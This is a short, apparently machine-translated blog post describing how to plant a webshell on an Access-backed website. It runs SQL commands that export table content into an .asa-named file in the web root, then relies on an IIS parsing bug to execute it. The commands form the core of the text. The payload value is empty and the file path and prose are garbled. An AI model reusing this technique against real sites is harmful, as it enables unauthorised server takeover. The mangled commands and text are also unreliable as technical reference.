ACCESS: Execute the SQL command to export a SHELL statement.

It's hard to go to the background and find out what to upload. Backup, too.

Webshell cannot be obtained. Later I reviewed the source code. There is

File. This function is not displayed in the background. Enter the file name directly, and the command execution option is displayed,

Then I tried the following command to export a Trojan. I did not expect it to succeed. The command is as follows:

1. create table cmd (a varchar (50 ))

2. insert into cmd (a) values ('')

3. select * into [a] in 'C: www.tmdsb.commdsb.asa).xls ''excel 4.0;' from cmd
(Export the content of the cmd table as an EXCEL file in the physical path)

4. drop table cmd

You can use the iis bug to get the WEBSHELL.

FRom: semi-pitfall farmer S Blog